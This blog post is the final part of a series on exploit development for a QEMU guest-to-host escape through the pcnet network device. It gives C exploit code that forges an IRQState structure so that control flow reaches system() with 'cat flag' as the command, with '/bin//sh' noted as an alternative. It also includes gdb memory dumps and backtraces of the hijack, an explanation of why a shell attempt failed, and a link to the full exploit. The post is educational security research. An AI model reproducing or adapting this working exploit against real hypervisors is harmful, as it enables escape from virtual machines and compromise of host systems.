QEMU Escape: Part 5 Put Everything Together (nographic mode)

Screenshot from 2018-03-13 22-07-42

Introduction

Yesterday I have already demonstrated how to hijack the control flow via leaking the base address of heap. Therefore, the only remaining step is to get the shell or view the flag, which will be discussed in this post. The final result is already given in the cover image. The full exploit is given in my github repository [2].

Full Exploit

After hijacking the control flow, the last step is to make various attempts to get the shell or read flag directly. In this post, my final choice is to read the flag directly. I will show later why I failed to get a shell.

Reading Flag

As discussed in my previous post, the victim buffer is located at a fixed offset in the QEMU heap together with the victim irq variable.
Therefore, I try to create a crafted struct IRQState in the heap.

struct IRQState{
    Object parent_obj;
    qemu_irq_handler handler;
    void *opaque;
    int n;
}

In our exploit, we want to set handler to system function. Since I do not leak the base address of libc, so I decided to use system@plt in QEMU image to divert the control flow to system function. For variable opaque, I point it to the address of n of the current crafted object. Then I set n to 0x67616c6620746163 (“cat flag” as string) with the code below.

packet_ptr = pcnet_packet;
for(int j=0x10; j<0x1f8; j += 4){
	*(packet_ptr + j) = textBaseAddr + 0xa8a00;  //system@plt
	*(packet_ptr + j + 1) = heapBaseAddr + 0x12889b0;
	*(packet_ptr + j + 2) = 0x67616c6620746163; //"cat flag"
                                //0x68732f2f6e69622f; "/bin//sh"
                                //0x736c; "ls"
	*(packet_ptr + j + 3) = 0;
}

Therefore, the expected memory layout before control flow hijacking is given below:

Thread 3 "qemu-system-x86" hit Breakpoint 1, pcnet_receive (nc=0x56366f9c7580, buf=0x56366fe73920 "RT", size_=4096)
    at /home/dango/Security/qemu/hw/net/pcnet.c:1082
1082	                *(uint32_t *)p = htonl(fcs);
$1 = 0x56366fe71690
$2 = 0x56366fe74920
(gdb) set pagination off
(gdb) p/x p
$3 = 0x56366fe74920

0x56366fe73920:	0x5452563412005452	0x0000000856341200
0x56366fe73930:	0x0000000000000000	0x0000000000000000
0x56366fe73940:	0x0000000000000000	0x0000000000000000
0x56366fe73950:	0x0000000000000000	0x0000000000000000
0x56366fe73960:	0x0000000000000000	0x0000000000000000
0x56366fe73970:	0x0000000000000000	0x0000000000000000
0x56366fe73980:	0x0000000000000000	0x0000000000000000
0x56366fe73990:	0x0000000000000000	0x0000000000000000
0x56366fe739a0:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe739b0:	0x67616c6620746163	0x0000000000000000
0x56366fe739c0:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe739d0:	0x67616c6620746163	0x0000000000000000
0x56366fe739e0:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe739f0:	0x67616c6620746163	0x0000000000000000
0x56366fe73a00:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe73a10:	0x67616c6620746163	0x0000000000000000
0x56366fe73a20:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe73a30:	0x67616c6620746163	0x0000000000000000
0x56366fe73a40:	0x000056366cb01a00	0x000056366fe739b0
0x56366fe73a50:	0x67616c6620746163	0x0000000000000000
(gdb) x/s 0x000056366fe739b0
0x56366fe739b0:	"cat flag"

Attempts to Get Shell

I also try to get a shell via executing system(“/bin//sh”);, but found the result as below.

Since opening a shell needs the attacker to create a pipe between the host machine and the guest machine as [1], invoking shell via execve system call is not feasible in QEMU escape attack.

Another Error Trial

During the exploit development, I also make another trial. Since we have already obtained the base address of the PHY_MEM of guest machine and know how to convert the virtual address in guest machine to its physical address, why not put some value, e.g. the address of command to execute, in the PHY_MEM? If it works, I can directly put many data in the PHY_MEM and use them with simple transformation.

To test this, I make some modification to the full exploit as below:

char command_buffer[8] = "cat flag";
/*
for(int j=0x10; j<0x1f8; j += 4){
	*(packet_ptr + j) = textBaseAddr + 0xa8a00;
	*(packet_ptr + j + 1) = heapBaseAddr + 0x12889b0;
	*(packet_ptr + j + 2) = 0x68732f2f6e69622f;
	*(packet_ptr + j + 3) = 0;
}
*/
uint64_t command_buffer_address = phyBaseAddr + gva_to_gpa(command_buffer);
for(int j=0x10; j<0x1f8; j += 2){
	*(packet_ptr + j) = textBaseAddr + 0xa8a00;
	*(packet_ptr + j + 1) = command_buffer_address;
}

At the point of hijacking control flow I expect that the first argument is a pointer to a string in PHY_MEM of guest machine like below:

Thread 4 "qemu-system-x86" hit Breakpoint 1, pcnet_receive (nc=0x55806989e580, buf=0x558069d4a920 "RT", size_=4096)
    at /home/dango/Security/qemu/hw/net/pcnet.c:1082
1082	                *(uint32_t *)p = htonl(fcs);
$1 = 0x558069d48690
$2 = 0x558069d4b920
(gdb) c
Continuing.

Thread 4 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/s $rdi
0x7f0df1255ff8:	"cat flag"

With the help of debugging script, I can find the stack info in a successful exploiting after leaking all the data we need.

Thread 3 "qemu-system-x86" hit Breakpoint 3, __libc_system (line=0x7f1b30e46ff8 "cat flag") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
#0  0x00007f1b61631dc0 in __libc_system (line=0x7f1b30e46ff8 "cat flag") at ../sysdeps/posix/system.c:179
#1  0x000055723934793f in qemu_set_irq (irq=0x55723b9490f0, level=0) at /home/dango/Security/qemu/hw/core/irq.c:43
#2  0x000055723939e002 in pcnet_update_irq (s=0x55723b946690) at /home/dango/Security/qemu/hw/net/pcnet.c:779
#3  0x000055723939fcda in pcnet_receive (nc=0x55723b49c580, buf=0x55723b948920 "RT", size_=4096) at /home/dango/Security/qemu/hw/net/pcnet.c:1177
#4  0x00005572393a017c in pcnet_transmit (s=0x55723b946690) at /home/dango/Security/qemu/hw/net/pcnet.c:1258
#5  0x00005572393a04e0 in pcnet_poll (s=0x55723b946690) at /home/dango/Security/qemu/hw/net/pcnet.c:1317

It is clear that the command line is passed to function, but actually nothing appear in the console in my test.
The reason for this is also given in [1].

/*
The call will fail as some of QEMU memory mappings are
not preserved across a fork() call. More precisely, the mmapped physical
memory is marked with the MADV_DONTFORK flag:
*/
qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK);

If I have to use the data in PHY_MEM of guest machine, I must disable the DONTFORK on the PHY_MEM with shellcode first. That’s exactly what the exploit does in [1].

Conclusion

The current exploit is not very stable. A successful exploit may take 4 trials on average on my machine. In this exploit, I use a lot of magic values to locate the base address of various modules. Therefore, I am not 100% sure that the exploit provided works fine on QEMU built on other machines.
As a first step in QEMU escape exploit developement, I think it is a good start to take different trials and exercise debugging skills.

Future Work

After about two weeks work, I finally get a working exploit on QEMU escape (one week for debugging and one week for writing exploit). But there still exists a lot of known things on qemu escape. First of all, I may need to go deeper into writing qemu escape exploit in graphic mode. Next, how to make the exploit more reliable is another topic in future. Thirdly, I need to get a deep understanding in QEMU internal, which may help audit source code of QEMU in future.

Reference

[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html
[2] https://github.com/dangokyo/QEMU_ESCAPE/blob/master/CVE_2015_5156&7504.c

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.